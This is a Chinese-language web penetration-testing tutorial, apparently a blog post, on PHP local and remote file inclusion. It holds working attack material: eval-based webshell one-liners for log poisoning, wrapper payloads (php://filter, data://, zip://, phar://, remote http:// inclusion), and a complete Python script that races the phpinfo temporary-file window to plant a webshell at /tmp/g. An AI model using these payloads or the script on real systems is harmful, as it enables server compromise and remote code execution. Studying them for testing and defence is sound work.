渗透测试[文件包含]

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数 时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

一.常见文件包含漏洞

include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚 本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误, 并停止脚本

include_once()和 require_once():若文件中代码已被包含则不会再次包含 

二.简单的包含漏洞

1.代码分析

include "include/$filename" 
这段代码的作用是动态地包含一个文件,文件名由变量 $filename 决定。
2.渗透过程

上传一个图片马

然后找到上传路径,利用include函数运行图片马中的代码

http://10.77.98.91/06/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/1.jpg&submit=%E6%8F%90%E4%BA%A4

 三.包含日志文件 getshell

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访 问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志 有 php 恶意代码,也可导致 getshell。 使用 burpsuite 访问 GET 填写<?php phpinfo();eval($_POST[cmd]);?>

2.包含环境变量 getshell

 

1.使用 burpsuite 访问 GET 填写<?php phpinfo();eval($_POST[cmd]);?>

access日志如下

访问access.log页面查看执行结果

这些都有可能导致日志输出错误,然后执行错误代码

四.phpinfo 文件包含临时文件

这漏洞是这样的,你用post 方式上传任意文件(当然是一句话木马了),服务器都会创建临时文件来保存文件内容。这个临时文件名(php+随机字符)呢,可以在phpinfo文件的超全局变量$_FILES 里面看到,然后请求结束这个临时文件就删除了。现在我们可以通过发垃圾数据延缓临时文件存在的时间,然后访问临时文件的地址,就相当于后门。

 

我们通过脚本来实现,这脚本可以发送一句话木马文件到网站并且发脏数据延缓时间,然后通过访问网站的phpinfo文件来获取临时文件位置返回给攻击机。

#!/usr/bin/python
import sys
import threading
import socket

# 设置目标主机和端口
def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
    <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
    Content-Type: text/plain\r
    \r
    %s
    -----------------------------7dbff1ded0714--\r""" % PAYLOAD

    padding="A" * 5000

    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
    HTTP_ACCEPT: """ + padding + """\r
    HTTP_USER_AGENT: """+padding+"""\r
    HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
    HTTP_PRAGMA: """+padding+"""\r
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
    Content-Length: %s\r
    Host: %s\r
    \r
    %s""" %(len(REQ1_DATA),host,REQ1_DATA)

    # 修改这里的路径以适应LFI脚本
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
    User-Agent: Mozilla/4.0\r
    Proxy-Connection: Keep-Alive\r
    Host: %s\r
    \r
    \r"""

    return (REQ1, TAG, LFIREQ)

# 执行LFI攻击
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)

    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
            except socket.error:
                return

# 获取php输出中tmp_name的偏移量
def getOffset(host, port, phpinforeq):
    """获取php输出中tmp_name的偏移量"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break

        # 检测最后一个块
        if i.endswith("0\r\n\r\n"):
            break
    
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # 偏移量填充一些数据
    return i+256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()

    try:
        while not e.wait(1):
            if e.is_set():
                break

            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break

        print

        if e.is_set():
            print "Woot! \m/"
        else:
            print ":("

    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
        print "Shuttin' down..."

        for t in tp:
            t.join()

if __name__=="__main__":
    main()

执行代码,python不行的话试试python2,返回的临时文件路径就是/tmp/g

五.伪协议

在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件; 各协议的利用条件和方法

1.file://   访问本地文件系统

可以读取本地文件,不受 allow_url_fopen,allow_url_incude 影响

ip/包含漏洞文件.php?file=file://文件的相对路径

2.php://   访问各个输入/输出流(I/O stream)

php://filter用于读取源码。
php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

以base64编码的方式读取指定文件的源码:

ip/包含文件漏洞文件.php?test=php://filter/convert.base64-encode/resource=文件路径

得到base64编码的源码后再进行base64解码,获取到完整源码信息

3.zip://    访问压缩包里面的文件

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://

ip/包含文件漏洞文件.php?test=zip://[压缩包绝对路径]%23[压缩包内文件]

4.data://

似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5.http://   访问 HTTP(s) 网址

当远程文件开启时,可以包含远程文件到本地执行。

当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。

http://192.168.0.103/lfi.php?file=http://192.168.0.101/shell.txt 192.168.0.101 设置为远程的 ip

6.php://input

在 PHP 中,php://input 是一个可以用来读取 POST 请求的原始数据的输入流。当你发送 POST 请求时,请求体中的数据会被传输到 php://input 流中,你可以通过读取这个流来获取 POST 请求中的原始数据。

下面是一个简单的示例,演示如何使用 php://input 来获取 POST 请求的原始数据:

// 通过php://input获取POST请求的原始数据
$a = file_get_contents('php://input');

// 输出获取到的原始数据
echo $a;

在这个示例中,file_get_contents('php://input') 将会获取到 POST 请求中的原始数据,并将其存储在 $a变量中。之后可以对这个数据进行进一步处理,比如解析 JSON 数据或者进行其他操作。

需要注意的是,php://input 只能读取一次,因为它是一个只读流。如果需要多次访问 POST 请求数据,则需要先将数据保存在变量中

7.phar://

用于与文件上传结合,把木马文件放进压缩包里,然后通过phar伪协议访问

六.文件包含截断攻击

在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。

 1.代码分析

2.渗透过程

七.超长文件包含截断

这个合适于 win32 可以使用\.进行截断 和 . (php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256) 利用操作系统对目录最大长度限制。 在 window 下 256 字节 linux 下 4096 字

1.代码分析

2.渗透过程

点截断

还有./字符也可以截断 %2f

八.远程截断

allow_url_fopen =On allow_url_include=On

http://192.168.0.103/lfi2.php?file=http://192.168.0.103/shell.txt?

 

  • 21
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值